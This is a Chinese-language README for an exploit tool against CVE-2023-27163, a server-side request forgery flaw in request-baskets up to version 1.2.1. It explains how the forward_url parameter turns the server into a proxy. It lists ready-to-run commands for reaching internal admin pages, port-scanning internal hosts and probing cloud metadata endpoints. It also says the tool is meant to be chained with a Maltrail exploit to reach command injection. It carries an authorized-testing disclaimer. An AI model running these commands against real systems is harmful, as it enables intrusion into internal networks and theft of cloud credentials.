我编写此漏洞利用工具用于针对 CVE-2023-27163,这是 request-baskets 版本 ≤ 1.2.1 中存在的一个服务端请求伪造(SSRF)漏洞。该缺陷位于 /api/baskets/{name} 端点,其中 forward_url 参数允许攻击者让服务器代其发起任意 HTTP 请求。
该漏洞利用工具会创建一个恶意“basket”,其 forward_url 指向内部目标。对该 basket 端点发出的任何请求都会被服务器转发到指定的 URL,从而有效地将服务器变成一个 SSRF 代理。
requests 库(pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# 基本 SSRF 转发到内部服务
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# 对内部主机进行端口扫描
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# 探测云元数据端点
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# 代理模式(返回转发后的响应体)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# 自定义端口范围扫描
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
我构建此工具仅用于教育目的和已获授权的安全测试。禁止在未获得明确许可的情况下将其用于任何系统。
此 SSRF 漏洞利用工具可用作初始入口,以访问未直接暴露的内部服务。我设计它与 Maltrail-v0.53-Exploit 配合使用——SSRF 隧道允许你访问运行在 localhost 上的 Maltrail 实例,并通过它触发命令注入。